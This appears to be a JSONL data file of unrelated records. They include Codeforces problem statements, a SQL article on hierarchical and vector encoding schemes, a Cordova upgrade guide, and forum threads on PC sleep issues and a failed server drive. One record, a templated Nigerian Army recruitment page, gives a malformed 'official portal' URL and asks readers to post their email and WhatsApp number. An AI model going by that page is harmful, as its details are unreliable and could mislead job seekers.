{"text": "The \"Parmigiana di melanzane\" is a typical Italian dish. Alessandro and Bianca have very different tastes when it comes to it: Alessandro loves to eat Parmigiana with seafood, but Bianca thinks it is an atrocity! To decide which ingredients to include in the dish they prepare, they play the following game.\n\nThere are $$$n$$$ possible ingredients, labeled from $$$1$$$ to $$$n$$$. The higher the label, the closer the ingredient is to being seafood. The ingredients are connected by $$$n - 1$$$ edges, in such a way as to form a tree. Alessandro and Bianca take turns, with Alessandro going first. They alternately choose a terminal ingredient $$$x$$$, that is an ingredient currently connected to at most one other ingredient, and remove it from the tree. If the terminal ingredient $$$x$$$ was chosen by Alessandro, it goes in the recipe; if it was chosen by Bianca, it is discarded.\n\nThe taste of the Parmigiana is measured as the maximum label of an ingredient in the recipe. Alessandro wants to maximize the taste, while Bianca wants to minimize the taste. If both play optimally, what is the taste of the Parmigiana?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "In the previous level, we looked at enumeration, abbreviation and algorithmic encodings. But there are more kinds of encoding schemes.\nA hierarchy partitions the set of values into disjoint categories, then partitions those categories into subcategories, and so forth until some final level is reached. Such schemes are shown either as nested sets or as tree charts. Each category has some meaning in itself and the subcategories refine meaning further.\nThe most common example is the Dewey Decimal Classification (DDC) system, used in public libraries in the English-speaking world. It is based on numeric ranges of decimal numbers. The 500 number series covers \"Natural Sciences\"; within that, the 510's cover \"Mathematics\"; finally, 512 deals with \"Algebra\" in particular. The scheme could be carried further, with decimal fractions for kinds of algebra.\nHierarchical encoding schemes are great for large data domains that have a natural hierarchy. They organize the data for searching and reporting along that natural hierarchy and make it very easy. But there can be problems in designing these schemes. First of all, the tree structure does not have to be neatly balanced, so some categories may need more codes than others and hence more breakdowns. Eastern and ancient religions were shortchanged in the original DDC, reflecting a prejudice toward Christian and Jewish writings. Asian religions were pushed into a very small set of codes. Today, the Library of Congress has more books on Buddhist thought than on any other religion on Earth.\nSecond, you might not have made the right choices as to where to place certain values in the tree. For example, in the original DDC, books on logic are in 164, a subcategory in the philosophy section, and not under the 510s, mathematics. In the nineteenth century, there was no mathematical logic. Today, nobody would think of looking for logic under philosophy – it is math. Dewey was simply following the conventions of his day. And like today's programmers, he found that the system specifications changed while he was working.\nThere are two ways to model these encoding schemes. The first is a simple list and the other is range pairs. The skeleton for Dewey might be:\nCREATE TABLE Library_Catalog (ddc CHAR(7) NOT NULL PRIMARY KEY CHECK (ddc LIKE '[0-9][0-9][0-9].[0-9][0-9][0-9]'), ddc_name VARCHAR(35) NOT NULL, ..);\nCREATE TABLE Library_Catalog (low_ddc CHAR(7) NOT NULL PRIMARY KEY CHECK (ddc LIKE '[0-9][0-9][0-9].[0-9][0-9][0-9]'), high_ddc CHAR(7) NOT NULL CHECK (ddc LIKE '[0-9][0-9][0-9].[0-9][0-9][0-9]'), ddc_name VARCHAR(35) NOT NULL, ..);\nI prefer the range pair approach, since the description can be at the higher level. That is,\nINSERT INTO Library_Catalog VALUES ('500.000', '599.999', 'Natural Sciences'), ('510.000', '510.999', 'Mathematics'), ('511.000', '511.999', 'Algebra'), etc ;\nHowever, if the hierarchy is not large or deep, it might be better to use a simple list.\nThe worst possible way to do these encodings is to confuse a hierarchy and a hierarchical encoding. Yes, it actually happens! A posting by Westside2008, with narrative instead of DDL asked for a CTE to query a table that stores product categories. The table has three columns whose original names were not ISO-11179 standard, so I fixed them.\nCREATE TABLE Product_Categories (product_cat INTEGER NOT NULL PRIMARY KEY, product_cat_name VARCHAR(20) NOT NULL, parent_product_cat INTEGER -–REFERENCES Product_\nThe request was to find the superior and subordinate categories given an input. The answer is the usual CTE pattern, one for each direction:\nWITH Subordinate_CTE (product_cat, product_cat_name, parent_product_cat) AS (SELECT product_cat, product_cat_name, parent_product_cat FROM Product_Categories WHERE parent_id = @in_search_cat) UNION ALL SELECT P.product_cat, P.product_cat_name, P.parent_id FROM Product_Categories AS P. Subordinate_CTE AS S WHERE S.product_cat = P.parent_id) -- select from the cte SELECT product_cat, product_cat_name, parent_product_cat FROM Subordinate_CTE;\nCompare this to the query for searching the Dewey Decimal Classification:\nHere is with the simple list:\nSELECT ddc, ddc_name FROM Library_Catalog WHERE ddc LIKE @in_ddc_pattern;\nIf I want to find all the math books, I use SET @in_ddc_pattern = '51_.%' and I am done. Since the ddc column is a key, it is indexed, there is no need for cursors and loops (which is what a recursive CTE is internally).\nIf I use the range pairs, the query becomes:\nSELECT ddc, ddc_name FROM Library_Catalog WHERE @in_ddc BETWEEN low_ddc AND high_ddc;\nA vector is made up of a fixed number of components. These components can be ordered or unordered, but are almost always ordered; they can be of fixed or variable length. The components can be dependent on or independent of each other, but the code applies to a single entity. The components of the vector can be determined by punctuation, symbol-set changes, or position within the code.\nAn example is the ISO code for tire sizes, which is made up of a wheel diameter (scaled in inches), a tire type (abbreviation code), and a width (scaled in centimeters). Thus, 15R155 means a 15-inch radial tire that is 155 millimeters wide, whereas 15SR155 is a steel-belted radial tire with the same dimensions. In spite of the mixed American and ISO units, this is a general physical description of a tire in a single code.\nVector schemes are very informative and allow you to pick the best scheme for each component. But they have to be disassembled to get to the components. Sorting by components is hard unless you want them in the order given; try to sort the tire sizes by construction, width, and diameter instead of by diameter, construction, and width.\nAnother disadvantage is that a bad choice in one component can destroy the usefulness of the whole scheme. Extending the code can be hard or easy. For example, if we invent a new kind of tire material, we jut add another abbreviation since this code is variable length.\nBut if the tire code had to be expanded to include thickness in millimeters, where would that measurement go? Another number would have to be separated by a punctuation mark. It could not be inserted into a position inside the code without giving ambiguous codes. The code cannot be easily converted to a fixed-position vector encoding without changing many of the database routines.\nA concatenation code is made up of a variable number of components that are concatenated together. As in a vector encoding, the components can be ordered or unordered, dependent on or independent of each other, and determined by punctuation, symbol-set changes, or position.\nA concatenation code is a cross between a hierarchy and a vector. The hierarchy is traversed by additions to the right. These are also known as facet codes in Europe. Or the code can be a list of features, any of which can be present or missing. The order of the components may or may not be important.\nConcatenation codes were popular in machine shops at the turn of the 20-th century: a paper tag was attached to a piece of work, and workers at different stations would sign off on their parts of the manufacturing process. Concatenation codes are still used in parts of the airplane industry, where longer codes represent subassemblies of the assembly in the head (also called the root or parent) of the code.\nAnother type of concatenation code is a quorum code, which is not ordered. These codes say that (n) out of (k) marks must be present for the code to have meaning. For example, three out of five inspectors must approve a part before it passes.\nThe most common use of concatenation codes is in keyword lists in the header records of documents in document systems. The author or librarian assigns each article a list of keywords that describe the material covered by the article. The keywords are picked from a limited, specialized vocabulary that belongs to some particular discipline.\nThese codes could also be ambiguous if they were poorly designed. For example, is the head of 1234 the 1 or the 12 substring? When concatenation codes are used in databases, they usually become a set of \"yes/no\" check boxes, represented as adjacent columns in the file. This makes them Boolean vector codes, instead of true concatenation codes.\nGeneral Guidelines for Designing Encoding Schemes\nThese are general guidelines for designing encoding schemes in a database, not firm, hard rules. You will find exceptions to all of them.\nExisting Encoding Standards\nThe use of existing standard encoding schemes is always recommended. The government or industry agency that provides these codes has someone who sat down and did nothing but work on this scheme. He probably did a better job than you could. In many cases he is also the trusted source for the data.\nAllow for Expansion\nAllow for expansion of the codes. The ALTER statement can create more storage when a single-character code becomes a two-character code, but it will not change the spacing on the printed reports and screens. Start with at least one more decimal place or position than you think you will need. Visual psychology makes \"01\" look like an encoding, whereas \"1\" looks like a quantity.\nUse Explicit Missing Values to Avoid NULLs\nAvoid the SQL general NULL as much as possible by putting special values in the encoding scheme instead. SQL handles NULLs differently from values and NULLs don't tell you what kind of missing value you are dealing with.\nAll-zeros are often used for missing values; all-nines, for miscellaneous values. For example, the ISO gender codes are 0 = Unknown, 1 = Male, 2 = Female, and 9 = Not Applicable. \"Not applicable\" means a lawful person, such as a corporation, which has no gender.\nKeep the Codes in the Database\nThere should be a part of the database that has all of the codes stored in tables. These tables can be used to validate input, to translate codes in displays, and as part of the system documentation.\nI was amazed to go to a major hospital in Los Angeles in mid-1993 and see the clerk still looking up codes in a dog-eared looseleaf notebook instead of bringing them up on her terminal screen. The hospital is still using a very old IBM mainframe system, which has \"dumb\" 3270 terminals, rather than a client/server system with workstations. There was not even a help screen available to the clerk.\nThe translation tables can be downloaded to the workstations in a client/server system to reduce network traffic. They can also be used to build picklists on interactive screens and thereby to reduce typographical errors. Changes to the codes are thereby propagated in the system without anyone having to rewrite application code. If the codes change over time, the table for a code should have to include a pair of \"date effective\" columns. This will allow a data warehouse to correctly read and translate old data.\nUse One Table per Encoding\nThis should be obvious. But, there is a nightmare called the “One True Lookup Table” or OTLT. It is a relative of the EAV (Entity-Attribute-Value) design flaw. All the encodings are shoved into one table for the entire DB.\nCHECK() constraints become impossible, the OTLT becomes huge, and it is constantly being locked for updates. Security becomes insanely complex.\nPut Constraints on the Encodings\nThis should be obvious, too. It lets you define business rules one place, one way, one time and pass information. Without it, imagine adding CHECK() constraints on every table that uses, say, ZIP codes or telephone numbers.\nPut VIEWs on the Encodings\nThis is not obvious. This tip usually is part of security. A Dentist should not be using medical procedure codes for heart surgeries. But it could be an honest typo by an input clerk. Even with the translation of the code on the screen, they might not recognize the technical terms and keep on going. The right way to do this is a VIEW of dental-only codes for the Dentist office. By keeping the whole encoding scheme in one place, instead of in CHECK() constraints, you guarantee consistency.\nTranslate Codes for the User\nIn some cases, you can display just the code to the end users. For example, most people do not need to see the two-letter state abbreviation written out in full in a street address. But if the encoding is obscure, you will want to inform the end user.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Little Petya is preparing for the first contact with aliens. He knows that alien spaceships have shapes of non-degenerate triangles and there will be exactly 4 ships. Landing platform for a ship can be made of 3 special columns located at some points of a Cartesian plane such that these 3 points form a triangle equal to the ship with respect to rotations, translations (parallel shifts along some vector) and reflections (symmetries along the edges). The ships can overlap after the landing.\n\nEach column can be used to land more than one ship, for example, if there are two equal ships, we don't need to build 6 columns to land both ships, 3 will be enough. Petya wants to know what minimum number of columns will be enough to land all ships.", "source": "cpt_codeforces", "language": "en", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Recovering deleted text messages....\nI have been looking all over the forums to find an answer to this, but I stupidly deleted a threat of very important messages from my phone, and I was wondering if there is anyway that I can recover these messages from my phone? I have a HTC Hero it is about 2 years old now.\nPlease if you know let me know, or perhaps point me in the right direction\nOne very concerned user", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a permutation $$$p$$$ of length $$$n$$$ — an array, consisting of integers from $$$1$$$ to $$$n$$$, all distinct.\n\nLet $$$p_{l,r}$$$ denote a subarray — an array formed by writing down elements from index $$$l$$$ to index $$$r$$$, inclusive.\n\nLet $$$\\mathit{maxpos}_{l,r}$$$ denote the index of the maximum element on $$$p_{l,r}$$$. Similarly, let $$$\\mathit{minpos}_{l,r}$$$ denote the index of the minimum element on it.\n\nCalculate the number of subarrays $$$p_{l,r}$$$ such that $$$\\mathit{maxpos}_{l,r} > \\mathit{minpos}_{l,r}$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 163, "token_count_with_eod": 164, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Assignment to translate a text of 247 words from English to German. A text related to food, for an exclusive rent-a-chef-business. A great feeling for nuances in the German language is required.\n25 freelanceria on tarjonnut keskimäärin %project_bid_stats_avg_sub_26% %project_currencyDetails_sign_sub_27% tähän työhön\nHi, I will complete this project within 12 hrs and I will provide you high quality human translation. Kindly award me this project please. Regards START-UP TRANSLATION", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 119, "token_count_with_eod": 120, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Oleg the bank client lives in Bankopolia. There are n cities in Bankopolia and some pair of cities are connected directly by bi-directional roads. The cities are numbered from 1 to n. There are a total of m roads in Bankopolia, the i-th road connects cities ui and vi. It is guaranteed that from each city it is possible to travel to any other city using some of the roads.\n\nOleg wants to give a label to each city. Suppose the label of city i is equal to xi. Then, it must hold that for all pairs of cities (u, v) the condition |xu - xv| ≤ 1 holds if and only if there is a road connecting u and v.\n\nOleg wonders if such a labeling is possible. Find an example of such labeling if the task is possible and state that it is impossible otherwise.", "source": "cpt_codeforces", "language": "en", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Nigerian Army latest news update 2020 on Job Recruitment. This page is about Nigerian Army latest job news 2020. I will be sharing relevant and current news on Nigerian Army recruitment portal, Nigerian Army recruitment shortlisted candidates, and so on. Find out latest news on Nigerian Army recruitment below.\nThis article will give Nigerian Army latest job news all for free. I guess you have some questions you want to ask or even make some enquiry. Please feel free to share your comments with us, using the comment box on this page at the end of this article.\nNigerian Army Recruitment Latest News\nNigerian Army was created with the aim to build capacity of Nigerian youths as well as reduce unemployment rate in the country. Currently, Nigerian Army recruitment form registration had ended and the new forms are not out yet. However, you can bookmark this page as the recruitment news for Nigerian Army registration will be updated on this page once the form is out.\nFor those of you seeking to know seeking to know when the form will be out, please be inform that the management of Nigerian Army has not announce the date yet, for the release of the application/registration form. Once the Nigerian Army form is out, this page will be updated immediately.\nNigerian Army Shortlist\nDid you apply for Nigerian Army jobs recently? If yes, then this update will help you. Currently, Nigerian Army 2020 List of shortlisted candidates is not yet out. See details below on how to download the list of shortlisted candidates.\nHow to Check Nigerian Army List of Shortlisted Candidates\nI will briefly show you how to check Nigerian Army shortlisted candidates list. Follow the steps below to check.\n- Visit Nigerian Army portal via https://Nigerian Army.fmhds.gov.ng/\n- Search for list of shortlisted candidates.\n- Click on the PDF list.\n- You can alternatively check your email, if you don’t see it, check your spam folder. Also check for Nigerian Army text message on your phone because selected candidates will be contacted through this means.\nNote: The list for Nigerian Army shortlisted candidates is not yet out. However, keeping visiting Nigerian Army official portal at https://Nigerian Army.fmhds.gov.ng/ or bookmark this page as it will be updated once the list is out.\nNigerian Army Screening Date\nDate has not yet be announced for the Nigerian Army exams. When the date is scheduled, this page will be updated. Endeavour to check your email frequently so you won’t miss out.\nRelated Nigeria Job News & Latest Update\n- Nigerian Navy Latest Job News\n- Nigerian Immigration Service Latest Job News\n- Nigerian Customs Service Latest Job News\n- Nigeria Police Force Latest Job News\n- Civil Defence Latest Job News\n- NDLEA Latest Job News\n- NDDC Latest Job News\nIf you want to be notified about Nigerian Army latest news through email, then drop your email and whatsapp number in the comment session below.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 618, "token_count_with_eod": 619, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This obviously relies on you having java and android installed, which I'd guess you have if you're upgrading an Android app\nStep 1Download the latest zip file from http://cordova.apache.org/ and unzip it.\nStep 2Install android if necessary and add it to the OS path. You need ANDROID_HOME set or the android executable on the path. I added both.\nMake sure you have Android version 19 installed from Android's SDK manager\nStep 3Install ant and add it to the OS path so that ant can be executed from the command line\nStep 4Using a command line tool (cmd or bash, or whatever) change directory (cd) to the where you unzipped the cordova zip and cd into the package/framework directory\nRun the following command\nIf you get the error message that you need to create 'local.properties' run the following command first (then run ant jar)\nandroid update project -p .\nThis will create the jar file called cordova-<version>.jar\nStep 5Copy these files from the unzipped cordova directory into your Android app directory structure:\n- the created .jar file to your /libs directory (will be in the framework directory where you created it)\n- cordova.js from the assets directory in the zip file to your app assets directory\nThat's all I needed to do. The settings all worked as before and now I've upgraded. I hope this helps someone and it isn't just me that doesn't want to have to use the Cordova tools :)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Welcome to our community.\nTo get a solution as fast as possible we recommend you always do a search on our website for the error message you get before posting a new question. This might help you find the solution in minutes instead of waiting for our next-day answer.\nFor example, in your case the solution seems to be the one described in this older post, It is a very easy small mistake with new users:\nIf this old thread doesn't help you please follow the recommendations from this page\nwhen making a new post. It will allow our team to give you a faster answer.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I just swapped my intel core i5 for a Ryzen 3700x with the Gigabyte Aorus Elite x570 mb and I'm having some system instability issues. Specifically, my PC sometimes does not wake properly from sleep: the case and cpu fans will spin up and the motherboard will light up, but all of the i/o ports remain dead. My monitor, keyboard, mouse, etc. all think that the PC is still asleep and will not respond. What is odd is that I can always *initially* wake my PC with either the mouse or keyboard, and all my peripherals will respond at first, but then there is a lag of a few seconds before the system fully wakes up, and sometimes all the peripherals lose power and remain dead. Then I'm forced to hold the power button down.\nI don't know what to do or what could be causing this. I am running the latest AMD chipset drivers (v. 2.03.12.657) and the latest BIOS update from Gigabyte. Currently running the Ryzen \"High Performance\" power plan. I have not tweaked any of my CPU's settings; the only thing I did was overclock my RAM to 3200 Mhz.\nIf anyone knows what could be going on here I would really appreciate the help.\nEDIT #5 (Final edit): After 2 months of trouble shooting I think I finally found the issue, which I am posting here for any future users who encounter this same problem. The following resolved this issue:\n1. wipe Windows and do a clean install\n2. Update BIOS to f11\n3. Disable Fast Boot\nAfter I did these things I was able to put my PC to sleep and wake it back up a bunch of times without any issue. As a final \"just in case\" measure I decided to edit the Ryzen High Performance power plan by disabling all wake timer events....and suddenly the issue came back. So I went back in and...\n4. (the real fix): re-enabled wake timers.\nSince I re-enabled wake timers I haven't had any booting issues. TL;DR is it looks like there is something about this motherboard (or my system in particular) that needs the wake timers enabled. Else, it just fails to wake from sleep properly. If you're having an issue like this and you're also running the Aorus Elite x570, try making sure that wake timers are enabled.\nMany usb peripherals can cause issues with sleep. After all these years it is amazing that Microsoft doesn't have this working right.\nI was able to isolate it to radeon drivers, until 20.4.1 surfaced I was experiencing problems with standby and sleep\nThe odd thing is I've never experienced these problems before, and I've had my current desktop since 2016. I could plug in any device I owned--kindle, garmin watch, phone, bike lamp, etc.--and before I rebuilt my PC two weeks ago nothing ever gave me this issue. Now all of a sudden with a new mb, cpu, and psu this suddenly a problem? I don't get it.\nAnyway, I tried disabling Windows ability to turn off the USB hubs and roots in Device Manager, so hopefully that helps. Though I'm still not convinced that USB is the sole issue; that wouldn't explain why my GTX 970 suddenly goes dead too and my monitor goes back to sleep just the same as my keyboard and mouse. It's almost like something prevents the entire system from coming out of sleep and Windows won't boot back up.\nI get your frustration. I have a USB scanner if I leave it plugged in the computer won't sleep. I have a monitor that if I use the Windows plug and play driver that so many think is all you need, it won't sleep. I have to use the proprietary driver for the monitor. There are so many variables that can affect whether a computer thinks it is time to sleep. I wish that Windows would just have some time of override setting that regardless of what the OS sees it forces sleep or allows it to wake. I have had the same stuff with waking too before.\nMy X570 BIOS has a power menu item and I can adjust it to ignore USB or PS2 events etc.\nthe device manager can also help with power, check the power settings for you scanner etc and see if that helps\nSame issue. I had to go into device manager and manually update drivers for the \"AMD GPIO Controller\" and all the \"AMD PCI\" line items.\nAMD's chipset drivers would make it easier than doing that all manually.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 960, "token_count_with_eod": 961, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Your form’s design is updated in real time. The preview component is automatically launched with the Editor and gives you several tools to format your controls.\n- Drag and resize multiple controls at once\n- Right-click contextual menu allows:\n- Add menus\n- Aligning selected controls\n- Center individual controls or groups of selected controls\n- Clipboard operations\n- Keyboard-enabled: the most common keyboard shortcuts will respond as you expect them to.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 88, "token_count_with_eod": 89, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sereja is interested in intervals of numbers, so he has prepared a problem about intervals for you. An interval of numbers is a pair of integers [l, r] (1 ≤ l ≤ r ≤ m). Interval [l1, r1] belongs to interval [l2, r2] if the following condition is met: l2 ≤ l1 ≤ r1 ≤ r2.\n\nSereja wants to write out a sequence of n intervals [l1, r1], [l2, r2], ..., [ln, rn] on a piece of paper. At that, no interval in the sequence can belong to some other interval of the sequence. Also, Sereja loves number x very much and he wants some (at least one) interval in the sequence to have li = x. Sereja wonders, how many distinct ways to write such intervals are there?\n\nHelp Sereja and find the required number of ways modulo 1000000007 (109 + 7).\n\nTwo ways are considered distinct if there is such j (1 ≤ j ≤ n), that the j-th intervals in two corresponding sequences are not equal.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hi I dont want the extra bracket inside the list thats been outputted so how would I fix that?\nThis is the code:\ndef my_code(list1, list2, index): index = ['a','b','c'] list2 =  list1 = [1,2,3] list1.insert(2,index) return list1\nand it returns:\n[1, 2, ['a', 'b', 'c'], 3]\nI dont want the brackets from inside!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "CS475 Lab 5: Wavefront Parallelization\nObjectivesThis lab is intended to give you an hands-on experience on wave-front parallelization.\nThe objectives are\n- To analyze and draw the data-dependencies in the given program.\n- Redraw the dependence graph from the given iteration space to time and processor iteration space.\n- Re-write the loop body for the transformed iteration space.\n- Verify the functionality of your transformed program.\n- Insert parallel pragmas for OpenMP parallelization of the transformed program.\n- Measure the performance(speed-up on 1-8 processors) of the parallel code to that of the given code on State-capital machines.\nDownload the Lab5.tar file. It contains the following files.\nComment out the lines to compile the necessary files after performing wavefront-parallelization.\nIt is the same program as we saw in lecture. The sequential code is provided.\nComplete the code for the transformation:\n(i,j->p,t) = (i,j->i,i+j-1) by figuring out i,j in terms of p and t. In the given transformed code, t refers to the outer loop and p refers to the inner loop.\n- timer.c and timer.h\nComplete the code to perform Wavefront parallelization. In your lab report,\nLast Modified: 9/27/2017\n- Show the transformed loop body and dependences.\n- Explain, how you compute the values for i,j in the trandformed code and why it is correct.\n- Speed-up on 1-8 processors for N=200,2000,20000 on a state capital machine.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "to customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nHow to write time duration correctly\nWithin a user manual, I need to convey the maximum time period allowed as \"365 days 23 hours 59 minutes 59 seconds\" - are commas expected between each component? Is the word \"and\" expected before the ...\nOct 17 '12 at 22:58\nnewest time technical-writing questions feed\nHot Network Questions\nWhy does Spotlight give a wrong value for `cos(pi/2)`?\nCould one obtain an object to destroy a Horcrux in the Room of Requirements?\nWhat is \"the d20 bust,\" and what does \"post-d20 game\" mean?\nIs it OK to use while ((line = r.readLine()) != null) construct?\nPage Numbering: Prime Numbers\nSource code of the screens of debian-installer\nAre airlines legally obligated to feed passengers without charging?\nWhat to claim when we don't reject the null?\nWhy do I stop eating corpses? Should I keep eating them anyway?\nIs an infinite line the same thing as an infinite circle?\nJoin Collection to table\nWhy are commerical flights not equipped with parachutes?\nWhy is Quicksort described as \"in-place\" if the sublists take up quite a bit of memory? Surely only something like bubble sort is in-place?\nBirthday paradox with a (huge) twist\ncheck webpage repeatedly over and over\nWould such polynomial identity exist? (related to sum of four squares)\nWhy can't I use renice to increase a process' nice value?\nWord for a person who loses or has lost faith?\nBBWC: in theory a good idea but has one ever saved your data?\nWhat type of solver does Mathematica use in LinearSolve\nCustom indexOf() without String methods\nWriting a letter of recommendation as a graduate student\nHow to compute impulse response from transfer function\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Overflow\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have experimented, learned & implemented a breakthrough style based on a theory of the universal impact of sound on human.\nRati Makeup Artist\nIf you want to produce an array from two seperate arrays on their intersects, here you go produce an array from two seperate arrays on their intersects, here you go\nRati Makeup Artist1\nRati Makeup Artist2\nRati Makeup Artist4\nMauris mauris ante, blandit et, ultrices a, suscipit eget, quam. Integer ut neque. Vivamus nisi metus, molestie vel, gravida in, condimentum sit amet, nunc. Nam a nibh. Donec suscipit eros.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 142, "token_count_with_eod": 143, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vasya has a grid with $$$2$$$ rows and $$$n$$$ columns. He colours each cell red, green, or blue.\n\nVasya is colourblind and can't distinguish green from blue. Determine if Vasya will consider the two rows of the grid to be coloured the same.", "source": "cpt_codeforces", "language": "en", "token_count": 62, "token_count_with_eod": 63, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "People threatened, worried, or offended in any way by 3D models need to really reasses their priorities in life.\nI'm not too surprised, as Sony seems to really try hard to cater to a Western audience despite being a Japanese company, and the Western world seems to be growing extremely puritanical of late in a variety of areas.\nFrankly I never understood the argument against sexualizing women in video games, the same way I wouldn't understand any argument against sexualizing MEN in games.. Appreciating the beauty of the female form in absolutely no way is disempowering women, it's the opposite! Then there's the argument that it's \"objectifying\".. Umm, in what way? And according to who exactly? What about the women who enjoy these depictions as well?\nAnd showing sexualized female figures in video games (or anywhere else) in no way discounts the fact that she could ALSO have personality, depth, intelligence, etc.. You can appreciate someone's physical appearance while ALSO appreciating their personality characteristics can you not? Physical beauty and depth/personality are not mutually exclusive, and it baffles me that some seem to think it is.. I dunno, maybe I'm the crazy one? Am I missing something here?\nLast edited by DarthMetalliCube - on 18 April 2019", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a string $$$s$$$ consisting of lowercase English letters.\n\nRearrange the characters of $$$s$$$ to form a new string $$$r$$$ that is not equal to $$$s$$$, or report that it's impossible.", "source": "cpt_codeforces", "language": "en", "token_count": 48, "token_count_with_eod": 49, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Given a set of integers (it can contain equal elements).\n\nYou have to split it into two subsets $$$A$$$ and $$$B$$$ (both of them can contain equal elements or be empty). You have to maximize the value of $$$mex(A)+mex(B)$$$.\n\nHere $$$mex$$$ of a set denotes the smallest non-negative integer that doesn't exist in the set. For example:\n\n- $$$mex(\\{1,4,0,2,2,1\\})=3$$$\n- $$$mex(\\{3,3,2,1,3,0,0\\})=4$$$\n- $$$mex(\\varnothing)=0$$$ ($$$mex$$$ for empty set)\n\nThe set is splitted into two subsets $$$A$$$ and $$$B$$$ if for any integer number $$$x$$$ the number of occurrences of $$$x$$$ into this set is equal to the sum of the number of occurrences of $$$x$$$ into $$$A$$$ and the number of occurrences of $$$x$$$ into $$$B$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 218, "token_count_with_eod": 219, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Here are the server specs are per support.dell.com via the Service Tag\nPOWEREDGE SC420 - SATA - CELERON 326, 2.\n1512MB SINGLE RANK 533MHZ ECC MEMORY, (2X\n1NO FLOPPY DRIVE\n180GB SATA (7,200RPM) 1IN HARD DRIVE, 1ST\n148X CD-ROM DRIVE\n1DISPLAY : NOT INCLUDED\n1NO KEYBOARD REQUIRED\n1NO OPERATING SYSTEM.(N)\n1OPENMANAGE SERVER SOFTWARE\n1NO WARRANTY UPGRADE\n11Y NBD (NEXT BUSINESS DAY)(NA)\n1C1 SATA, 1 HARD DRIVE\nWhat happened leading up to this? How many drives to you actually have in the server? Did you have RAID enabled in the BIOS / Integrated Devices and is it enabled now? Do you have a CTRL-A option during POST that you can enter? If so, what do you see?\nI'm not sure but it was working until Monday evening but by Tuesday morning this message had appeared.\nThere is one physical drive in the server - so no RAID\nThere is a CTRL A option, am not in the same country as the server right now, but am awaiting that info and will post asap\nThere is only one hard drive, when the user presses CTRL+A nothing happens except 'SATA Primary hard disk drive 0 failure Strike the F1 key to continue, F2 to run the setup utility'\nHard Drive Diagnostics\nDrive 0: WDC ROM MODEL-UNICORN-- - Error attempting diagnostics\nDrive 1: No device\nDrive 2: LITE-ON CD-ROM LTN-489S – Diagnostics not supported\nDrive 3: No device\nSATA Operation – SATA Operation is set to RAID Autodetect/ATA\nRAID AUTODETECT/ATA – RAID if signed drives, otherwise ATA\nRAID OFF – No RAID supported\nRAID ON – SATA is configured for RAID on every boot\nWell, it won't let you do RAID with the onboard controller with a single drive (some controllers would require a single-disk RAID 0 for a single drive). My diagnosis? Your drive failed - is dead. You can try and plug it into another system as a secondary drive to see if it powers up to the point of being able to see and copy your data, but if the drive is not operational, there isn't much you can do. At this point, if the data is crucial, call a data recovery pro.\nI hope there is a tape backup so I can import the tapes into a different server and restore from there.\nCan anyone tell me whether there will be an issue installing Windows Server 2003 on this server?\n\"Issues\" ... there should not be any \"issues\", but you might run into some things you might consider issues. If you do, just let us know.\nThanks will do\nI got no joy from the old hard drive.\nI've setup Windows 2003 on a new drive and have the tape drive installed but cannot import or catalog any of the tapes.\nMaybe I should open a new question but the drive is a USB HP Storeagework DAT 160 - can anyone suggest a free or trial program that will import or recognise the tapes?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
